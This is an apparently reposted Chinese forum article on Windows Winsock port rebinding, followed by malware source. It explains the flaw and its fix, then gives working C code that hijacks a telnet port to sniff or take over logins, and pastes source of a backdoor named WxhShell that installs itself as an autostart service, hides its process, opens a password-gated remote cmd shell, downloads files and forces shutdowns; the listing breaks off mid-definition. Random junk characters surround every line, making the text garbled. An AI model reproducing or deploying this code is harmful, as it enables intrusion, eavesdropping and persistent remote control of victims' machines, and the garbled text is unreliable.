在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
}?>30+42: s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
<"CG%RGP |U$oS2U\m saddr.sin_family = AF_INET;
,Mc}U9)F &nj@t>5Bs$ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
$|z8WCJ =bf-+gZD bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
~v9\4O a&ZH 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
NK*~UePy HI']{2p2}t 这意味着什么?意味着可以进行如下的攻击:
Qd]-i3^0 ep[7#\}5 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
SL:o.g(>4 \0j|~/6 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
[ OMcSd|nf 34]f[jJ| 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
ZWmmFKFG. BWL~)Hx 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
qVJV 9n J_U1eSz<j 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Cb.~Dv
! y"!+Fus9 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
V}7I?
G ngEjbCV+ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
\8Fe56 *;+lF #include
N+!{Bt* #include
{:od=\*R #include
8!me$k& #include
D4n~2] DWORD WINAPI ClientThread(LPVOID lpParam);
l$d 4g?Z int main()
<JYV
G9s} {
:(A]Bm3 WORD wVersionRequested;
rN$_(%m_N DWORD ret;
$CHri| WSADATA wsaData;
1>57rx"l BOOL val;
^"l>;.w SOCKADDR_IN saddr;
wp.<}=|u SOCKADDR_IN scaddr;
$>5|TG
0i int err;
%S.R@C[3 SOCKET s;
/ $WEO[o SOCKET sc;
XkuNLs4 int caddsize;
im%'S6_X4 HANDLE mt;
B4[onYU DWORD tid;
kP6g0,\|a| wVersionRequested = MAKEWORD( 2, 2 );
OyZgg(iN err = WSAStartup( wVersionRequested, &wsaData );
0l^-[jK) if ( err != 0 ) {
WK/Byd.Z printf("error!WSAStartup failed!\n");
}I,]"0b return -1;
<G\q/!@_ }
~;il{ym saddr.sin_family = AF_INET;
gHvxmIG <d$|~qS_ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
vy1:>N?#5 M<~z=B# saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
noOG$P# saddr.sin_port = htons(23);
yXR$MT+ ~ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
!4]wb!F {
y!mjZR,& printf("error!socket failed!\n");
/u*((AJ?Qv return -1;
^l7u^j }
jUI'F4.5x- val = TRUE;
\@GA;~x.b //SO_REUSEADDR选项就是可以实现端口重绑定的
t_x\&+W if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
-+#\WB{AI {
Kt;h'? printf("error!setsockopt failed!\n");
p_)V@7 return -1;
(Pbdwzao }
oh :g //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
*Jmy:C<> //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
;6U=fBp7< //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
E
Rqr0>x e%U0^! 8 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
vtv|H {
5yuj}/PZ ret=GetLastError();
+0;6.PK printf("error!bind failed!\n");
U<KvKg return -1;
AWi~qzTZ }
\=XAl >}\ listen(s,2);
Vqb4
MWW while(1)
b Zn:q[7 {
8uchp caddsize = sizeof(scaddr);
(@pE //接受连接请求
#K"jtAm sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
!WR(H&uBr\ if(sc!=INVALID_SOCKET)
0.~QA+BD:S {
bezT\F/\ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
uv/I`[@HK8 if(mt==NULL)
F(Pe@ #)A {
Jj8z ~3XnJ printf("Thread Creat Failed!\n");
imZi7o break;
3uZY.H+H }
^j0Mu.+_ }
~kD/dXt CloseHandle(mt);
(l TM5qC }
Gvb>M=9 closesocket(s);
wbyY?tH WSACleanup();
nz3j";d return 0;
p'0jdb :S }
\=kH7 ! DWORD WINAPI ClientThread(LPVOID lpParam)
h*Rh:yCR> {
*}-X
'_ SOCKET ss = (SOCKET)lpParam;
I_6?Q^_uZ SOCKET sc;
<_dyUiT$J unsigned char buf[4096];
`kpX}cKK} SOCKADDR_IN saddr;
4h@jJm
long num;
dpDVEEs84 DWORD val;
N&]v\MjI62 DWORD ret;
SsIy ;l //如果是隐藏端口应用的话,可以在此处加一些判断
\ExM.T //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
-}/u?3^- saddr.sin_family = AF_INET;
E5~HH($b saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
t>)iC)^u saddr.sin_port = htons(23);
C\ZL*,%} if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Vl%AN;o {
m.iCGX printf("error!socket failed!\n");
rr>QG<i;G return -1;
o8-BTq8 }
{KxeH7S val = 100;
w4Qqo( if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
[2pp)wq {
6iVjAxR ret = GetLastError();
'_lyoVP return -1;
L'BDS* }
5bYU(] if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Z3g6?2w6 {
z\Rs?v" ret = GetLastError();
3l_Ko%qS return -1;
`MAee8u' }
J*o :RnB if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
gbsRf&4h {
y>Zvos e printf("error!socket connect failed!\n");
KkP}z closesocket(sc);
1P.
W 34 closesocket(ss);
K_{f6c< return -1;
:9Zu&t }
nm'sub while(1)
{>H#/I8si {
%<lfe<;^t //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
(%}T\~`1z# //如果是嗅探内容的话,可以再此处进行内容分析和记录
0 #pjfc `: //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
kTb.I;S num = recv(ss,buf,4096,0);
<W~5;m if(num>0)
(o~f6pNB, send(sc,buf,num,0);
M#LQz~E else if(num==0)
#+N\u*-S break;
bE#=\kf| num = recv(sc,buf,4096,0);
1t_$pDF} if(num>0)
hb9e6Cc send(ss,buf,num,0);
Gtd!Y
x else if(num==0)
)xX(Et6+` break;
"nP mQ }
%C\Q{_ AS closesocket(ss);
]sjYxe closesocket(sc);
^m;dEe&@F return 0 ;
` wuA}v3! }
\{AxDk{z# r5jiB L~ >!s=f ==========================================================
$/90('D f#_ XR 下边附上一个代码,,WXhSHELL
+-&N<U
F' s($n ==========================================================
?Z0T9e< /=w9bUj5v #include "stdafx.h"
d"<Q}Ay ^.5L\ #include <stdio.h>
DQ :w9 #include <string.h>
E1IRb': #include <windows.h>
A ${b] #include <winsock2.h>
kq6S`~J^R #include <winsvc.h>
@[#U_T- I #include <urlmon.h>
L]hXAShmb
@[u! #pragma comment (lib, "Ws2_32.lib")
<h^'x7PkW5 #pragma comment (lib, "urlmon.lib")
VgtWT`F.I iDt^4=` #define MAX_USER 100 // 最大客户端连接数
vDZhoD=VR #define BUF_SOCK 200 // sock buffer
R$'4 d #define KEY_BUFF 255 // 输入 buffer
m^rgzx19? Y:[WwX| #define REBOOT 0 // 重启
W7>4-gk #define SHUTDOWN 1 // 关机
sP$bp Z} W.iL!x.B@ #define DEF_PORT 5000 // 监听端口
R#i|n<x 0@d )DLM? #define REG_LEN 16 // 注册表键长度
ZHUAM59bx #define SVC_LEN 80 // NT服务名长度
qg#TE-Y` lc>)7UF // 从dll定义API
A`Q'I$fj typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
'\\dh typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
";E Mu(IXb typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
'bGL@H typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
i#$9>X -FytkM^]6 // wxhshell配置信息
+5H9mk struct WSCFG {
u
+q}9 int ws_port; // 监听端口
CnruaN@ char ws_passstr[REG_LEN]; // 口令
?jbE3fW int ws_autoins; // 安装标记, 1=yes 0=no
*(YtO char ws_regname[REG_LEN]; // 注册表键名
Yr@_X char ws_svcname[REG_LEN]; // 服务名
}dw`[{cm char ws_svcdisp[SVC_LEN]; // 服务显示名
z"*X/T char ws_svcdesc[SVC_LEN]; // 服务描述信息
:_JZn`Cab char ws_passmsg[SVC_LEN]; // 密码输入提示信息
IG0$OtG int ws_downexe; // 下载执行标记, 1=yes 0=no
:VP4|H#SP char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
})!d4EcZf char ws_filenam[SVC_LEN]; // 下载后保存的文件名
G3n* bv /AV
[g^x2 };
qp 4.XL Hy5_iYP5 // default Wxhshell configuration
C=(-oI n
struct WSCFG wscfg={DEF_PORT,
F+,X%$A#? "xuhuanlingzhe",
JW9^C 1,
0Ge*\Q "Wxhshell",
8*kZ.-T
B "Wxhshell",
@'L/] "WxhShell Service",
?(Q" y\ "Wrsky Windows CmdShell Service",
tt%Zwf "Please Input Your Password: ",
r?Jxl< 1,
kCfSF%W& "
http://www.wrsky.com/wxhshell.exe",
qH!}oPeU' "Wxhshell.exe"
;ZXP*M9 };
tW 53&q\= _=E))Kp{z // 消息定义模块
| qtdmm char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
m6^Ua char *msg_ws_prompt="\n\r? for help\n\r#>";
@*q WV*$h char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
v'Ce|.; char *msg_ws_ext="\n\rExit.";
*F* c char *msg_ws_end="\n\rQuit.";
D5fJuT-bp char *msg_ws_boot="\n\rReboot...";
W/ZmG]sZE char *msg_ws_poff="\n\rShutdown...";
#q`[(`Bx char *msg_ws_down="\n\rSave to ";
9C}Ie$\ '#$Y:/ char *msg_ws_err="\n\rErr!";
C\Q3vG char *msg_ws_ok="\n\rOK!";
jcHs! u':-DgK char ExeFile[MAX_PATH];
<HM\ZDo@P int nUser = 0;
+jYO?uaT HANDLE handles[MAX_USER];
)#k*K9[@ int OsIsNt;
=BQM(mal (A O]f fBU SERVICE_STATUS serviceStatus;
,/6V ^K SERVICE_STATUS_HANDLE hServiceStatusHandle;
/Y5I0Ko Uw ,{:c<W:A] // 函数声明
8(3'YNC int Install(void);
~fw 6sY# int Uninstall(void);
HmKvu"3 int DownloadFile(char *sURL, SOCKET wsh);
Yao>F--? int Boot(int flag);
'<~rV void HideProc(void);
=Xze ).g int GetOsVer(void);
44FK%TmtF int Wxhshell(SOCKET wsl);
! utgo/n void TalkWithClient(void *cs);
H|;6K`O_ int CmdShell(SOCKET sock);
L;/#D>U( int StartFromService(void);
%F-/|x1#Q int StartWxhshell(LPSTR lpCmdLine);
TEz)d= 1rh\X[@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Onb*nm VOID WINAPI NTServiceHandler( DWORD fdwControl );
hh<5?1 +*'
// 数据结构和表定义
p 7IJ3YY SERVICE_TABLE_ENTRY DispatchTable[] =
loN!&YceW {
XRXKO>4q {wscfg.ws_svcname, NTServiceMain},
xal,j* {NULL, NULL}
DR3M|4[ };
b\NWDH7} xb\(>7M6Y // 自我安装
=o;QvOS; int Install(void)
-v?,{?$0 {
&&$/>[0=. char svExeFile[MAX_PATH];
zrk/}b0j HKEY key;
^4(CO[|c~ strcpy(svExeFile,ExeFile);
rubqk4 }'$6EgX // 如果是win9x系统,修改注册表设为自启动
GlP
[: if(!OsIsNt) {
S_LY>k? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
vb/*ILS RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
G~_5E]8 RegCloseKey(key);
HVz-i{M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
F48:mfj1r RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
:p@H RegCloseKey(key);
MbLG8T:y return 0;
g`)3m,\ }
84L!r }
r5Ej }
zk5sAHQ else {
+*,rOK`C ^ L'8: // 如果是NT以上系统,安装为系统服务
K+2bNKZ0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Pc{D,/EpR if (schSCManager!=0)
lMAmico {
!jY/}M~F1 SC_HANDLE schService = CreateService
heoOOP(# (
SFoF]U09 schSCManager,
vM~/|)^0sW wscfg.ws_svcname,
i0/gyK wscfg.ws_svcdisp,
s([9/ED SERVICE_ALL_ACCESS,
Fp4?/-] SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
*E:w377<} SERVICE_AUTO_START,
W093rNF~ SERVICE_ERROR_NORMAL,
d=WC1" svExeFile,
qyl~*r* NULL,
/b6Y~YbgU NULL,
8B;`9?CI NULL,
)<G>]IP< NULL,
jjBcoQU$o NULL
gXI_S9z );
2g-'.w if (schService!=0)
Y?%MPaN: {
RBr CloseServiceHandle(schService);
@dX0gHU[c CloseServiceHandle(schSCManager);
F`8A!|cIy strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
]n?a h strcat(svExeFile,wscfg.ws_svcname);
&=|W95 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RL~|Kr<7J RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
LW_Y RegCloseKey(key);
g _;5" return 0;
({D.oS }
(HLy;^#R }
%s$_KG !& CloseServiceHandle(schSCManager);
rsBF\(3b~ }
^*C6]*C}te }
c}Jy'F7&f tnqW!F~ return 1;
/7@@CG6b }
R8EDJ2u# l1jS2O( // 自我卸载
}llzO int Uninstall(void)
*Dh.'bB! {
Q9K
Gf; HKEY key;
[rTV)JsTb HT
A-L>Cee if(!OsIsNt) {
( NjX?^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
F"hi2@/TI RegDeleteValue(key,wscfg.ws_regname);
r-]R4#z> RegCloseKey(key);
S7aS Ut! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
jR@-h"2*A RegDeleteValue(key,wscfg.ws_regname);
g%j z,| RegCloseKey(key);
4TG| return 0;
Uvf-h4^J]: }
TuIeaH% x }
K/Q;]+D }
PG<N\ else {
"R*B~73 ]*i>KR@G SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
V$q%=Sip if (schSCManager!=0)
_I{&5V~z {
J)(]cW. SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
>z^T~@m7l if (schService!=0)
7azxqa5: {
6ap,XFRMh if(DeleteService(schService)!=0) {
nkhM1y CloseServiceHandle(schService);
]qV J> CloseServiceHandle(schSCManager);
_nx|ZJ return 0;
Om}&`AP}; }
CdZ;ZR CloseServiceHandle(schService);
y9s5{\H }
! \awT CloseServiceHandle(schSCManager);
iZSjT"l^ }
WR'A%"qBwi }
<V6#)^Or g LpWfT29V return 1;
ew`R=<mZ,7 }
@
K@~4! *ac#wEd // 从指定url下载文件
N_gjOE`x5 int DownloadFile(char *sURL, SOCKET wsh)
-3 W4 {
sn Ekei|0 HRESULT hr;
[MiD%FfcNH char seps[]= "/";
]/$tt@h char *token;
DJn>. Gd char *file;
xE6y9"}!h char myURL[MAX_PATH];
aD&10b9` char myFILE[MAX_PATH];
UBU(@T( $%t{O[( strcpy(myURL,sURL);
o9~qJnB/O token=strtok(myURL,seps);
a,j!B
hu while(token!=NULL)
D 'u+3 {
omRd'\ RO file=token;
n[iil$VKh token=strtok(NULL,seps);
+Nza@B d }
%^5$=w 9CN /v GetCurrentDirectory(MAX_PATH,myFILE);
3Q;^X(Ml* strcat(myFILE, "\\");
huq6rA/i strcat(myFILE, file);
L>L4%? send(wsh,myFILE,strlen(myFILE),0);
b _u&% send(wsh,"...",3,0);
S3J6P2P hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
,LMme}FFeb if(hr==S_OK)
&
9?vQq|% return 0;
C8t+-p else
\`XJz{Lm] return 1;
2i>xJMW T@RzY2tz }
@DUdgPA *e8V4P // 系统电源模块
{T^'&W>8G8 int Boot(int flag)
tlcA\+%) {
}6S4yepl HANDLE hToken;
>`NM?KP s TOKEN_PRIVILEGES tkp;
? {l2 m+u>%Ys` if(OsIsNt) {
)5&m:R9 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
vEgJmHv; LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
J}YI-t tkp.PrivilegeCount = 1;
E""/dC:B tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
?"C]h s AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
\E#r[9F{ if(flag==REBOOT) {
&U,f~KJ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
UwM}!K7)G return 0;
q%y_<Fw#E }
sZbzY^P else {
O%)9tFT if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
MkYem6 return 0;
z44uhR h }
21WqLgT3 4 }
z`Q5J9_<cV else {
$}F]pa[ if(flag==REBOOT) {
g9
yCd(2<5 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
f,-|"_5; return 0;
M"FAUqz` }
&6:,2W&s else {
.o-j if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
05zHL j return 0;
:^*V[77 }
cp2fDn }
wYxizNv, GHlra^ return 1;
FlgB-qR]<n }
yd%\3}- C0fA3y72 // win9x进程隐藏模块
,mX|TI<* void HideProc(void)
s7
KKH
w {
S]o m@Nx`aS? HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
2(rZ@Wl if ( hKernel != NULL )
\|pAn {
v\k,,sI pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
rzmk-V ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
*~cs8<.!1 FreeLibrary(hKernel);
_9@?Th&_e }
Y1'.m5E (p?3#|^ return;
Wu4Nq+ }
.apX72's, ]~.J@ 1? // 获取操作系统版本
~fF} int GetOsVer(void)
h]MVFn{ {
1b7xw#gLx OSVERSIONINFO winfo;
&v-V_.0(H winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Ntnmd GetVersionEx(&winfo);
D+)=bPMe if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
LJ/qF0L!H return 1;
^0|NmMJ] else
NslA/"* return 0;
\zI&n &T }
&o/4hnHYt w&"w" // 客户端句柄模块
?Bzi#Z int Wxhshell(SOCKET wsl)
w~U`+2a3 {
]k:m2$le SOCKET wsh;
v|I5Gz$qpa struct sockaddr_in client;
~8m>DSs)D DWORD myID;
1D[P\r- T{<@MK%],d while(nUser<MAX_USER)
?66(t {
E.`dk. int nSize=sizeof(client);
{?mQqoZ?. wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
y<1$^Y1/) if(wsh==INVALID_SOCKET) return 1;
Z&w^9;30P kNj3!u$ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
V"H7zx if(handles[nUser]==0)
unnx#e] closesocket(wsh);
?a>7=)%AH else
@5jG nUser++;
B#6pQp$ }
,GJ>vT) WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
E)O|16f|> WQ}!]$<"y return 0;
nbASpa( }
!e'0jf-~ 7+a%ehwU // 关闭 socket
`f+8WPJPZ void CloseIt(SOCKET wsh)
`SjD/vNE {
BO4 K#H7 closesocket(wsh);
uUz`= 4%A nUser--;
e?| URW ExitThread(0);
Yv>BOK }
Z SRRlkU ],F}}pv // 客户端请求句柄
v0C;j(2zb void TalkWithClient(void *cs)
#t@x6Vt {
)4~sQ^} bqrJP3 SOCKET wsh=(SOCKET)cs;
(~Uel1~@ char pwd[SVC_LEN];
Wzqb>. char cmd[KEY_BUFF];
adI!W-/R: char chr[1];
^.#X<8hr int i,j;
9Yl8ndP^E 0TO_1 0D while (nUser < MAX_USER) {
}r}RRd b0YiQjS6> if(wscfg.ws_passstr) {
E69:bQ94u if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
=_RcoG/^~ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
AU)1vx(\w //ZeroMemory(pwd,KEY_BUFF);
7G.o@p6$ i=0;
fey*la Xq while(i<SVC_LEN) {
oWp}O? .?rbny // 设置超时
Dxt),4%P fd_set FdRead;
o)%-l4S struct timeval TimeOut;
,-(T"Ph< FD_ZERO(&FdRead);
id;#{O$ FD_SET(wsh,&FdRead);
kmlG3hOR, TimeOut.tv_sec=8;
NoCDY2 $ TimeOut.tv_usec=0;
5: daa int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
YlswSQ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
)bLGEmm d>%gW* if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
oX'0o 'c pwd
=chr[0]; +0XL5('2
if(chr[0]==0xd || chr[0]==0xa) { =db'#m{$
pwd=0; I@0z/4H``
break; wMb)6YZs
} -t8hi+NK
i++; erx5j\
} ~;M)qR?]W
gjj 93
// 如果是非法用户,关闭 socket D|@bGN
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |[S90Gw]
} 3 p/b
2+?T66 g
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D \N
\BD
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .sM<6;
q0,kDM66
while(1) { q7X}MAW
V0K16#}1gM
ZeroMemory(cmd,KEY_BUFF); j-7u>s-l
fUC9-?(K
// 自动支持客户端 telnet标准 &V'519vmoZ
j=0; 7vn%kW=$
while(j<KEY_BUFF) { z{S:X:X
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TG}d3ZU
!
cmd[j]=chr[0]; eGm:)
if(chr[0]==0xa || chr[0]==0xd) { |]`hXr
cmd[j]=0; {esJ=FV\
break; -fE.<)m=!
} 5%*w<6<_z
j++; L!t@-5~
} pkJ/oT
j 5Qo*p
// 下载文件 u*3NS$vH
if(strstr(cmd,"http://")) { 0}{'C5
send(wsh,msg_ws_down,strlen(msg_ws_down),0); qve
./
if(DownloadFile(cmd,wsh)) ! QM.P
t7c
send(wsh,msg_ws_err,strlen(msg_ws_err),0); r9#
\13-
else 8WL8/
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A /(lK q
} Mp~y0e
else { ~@T<gA9V
Q8T`wd$D#
switch(cmd[0]) { "13"`!m
@@@=}!<H=
// 帮助 sIy
case '?': { r> k-KdS
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rYY$wA@
break; Wy4$*$
} t42u b
// 安装 9T7e\<8"vC
case 'i': { ]5}=^
if(Install()) 8S]".
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
(hB?
else w]u@G-e
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OtJ\T/q,
break; %<"}y$J
} FS6<V0pil
// 卸载 +uo{ m~_4
case 'r': { >G~mp<L
if(Uninstall()) 4[yIOs
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?WUF!Jk
else +-<}+8G;
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z0%\OhuCcf
break; iYJZvN
} F(5hmr
// 显示 wxhshell 所在路径 jCioE
case 'p': { -`b8T0?oK
char svExeFile[MAX_PATH]; `Out(Hn
strcpy(svExeFile,"\n\r"); IvHh4DU3Z
strcat(svExeFile,ExeFile); slu(SmQ
send(wsh,svExeFile,strlen(svExeFile),0); oR .cSGh
break; *T`-|H*6@
} SJ?6{2^
// 重启 7a4o1;l
case 'b': { S0d~.ah30
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K4Sk+
v
if(Boot(REBOOT)) G(iJi
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <eN_1NTH_
else { j}1zdA
closesocket(wsh); "{D6J809
ExitThread(0); Z[Qza13lo
} Yd
EptAI
break; kDvc"
,SD#
} N8toxRu
// 关机 JyL a#\ R
case 'd': { }t9.N`xu
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1Xu?(2;NF
if(Boot(SHUTDOWN)) V7d)S&*V
send(wsh,msg_ws_err,strlen(msg_ws_err),0); E/M_lvQ
else { dCyqvg6u
closesocket(wsh); =m89z}Ot
ExitThread(0); 3`E=#ff%
} ~{hxR)x9
break; IU FH:w]
} :W#rhuzC
// 获取shell dZ#&YG)?e
case 's': { j#r6b]k(Hv
CmdShell(wsh); C%d_@*82
closesocket(wsh); N6K*d` o
ExitThread(0); [x=jH>Y
break; ]i(-I <`
} U,#yqER'r
// 退出 }En
case 'x': { qm/Q65>E
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pl@O
N"=[
CloseIt(wsh); )?+$x[f!*
break; oSiMpQu08
} b@RHc!,>jV
// 离开 X%z }VA
case 'q': { ojYbR<jn9
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4BnSqw a_
closesocket(wsh); `E+Jnu,jC
WSACleanup(); QaUm1i#
exit(1); ?
WJ> p
break; bvfk
} ^,m< 9
} P96pm6H_;
} _zlqtO
zvABU+{jD
// 提示信息 R1Sy9x .
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HhO".GA
} oFOnjK"|F
} %ZHP2j
%~
o FjIA!
return; ;&H4u)
} z/i+EE
21k5I #U
// shell模块句柄 r0p w_j
int CmdShell(SOCKET sock) zdXkR]
{ $kR N
h6
STARTUPINFO si; OL4z%mDZi
ZeroMemory(&si,sizeof(si)); Y5fLmPza
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {U&.D
[{&
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !9 fz(9
PROCESS_INFORMATION ProcessInfo;
:W b j\
char cmdline[]="cmd"; Ol4+_n8xj
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >S$Z
return 0; ss;R8:5
} xsWur(> ]
5 ae2<Y=
// 自身启动模式 l7&$}x-
int StartFromService(void) hiNEJ_f
{ SG6sw]x
typedef struct j*~T1i
{ L^Jk=8
DWORD ExitStatus; =zwOq(Bh W
DWORD PebBaseAddress; ~]ZpA-*@Ut
DWORD AffinityMask; N !TW!
DWORD BasePriority; MZmb`%BZ
ULONG UniqueProcessId; d)~Fmi;
ULONG InheritedFromUniqueProcessId; qI^
/"k*5
} PROCESS_BASIC_INFORMATION; n3J53| %v
C6rg<tCH
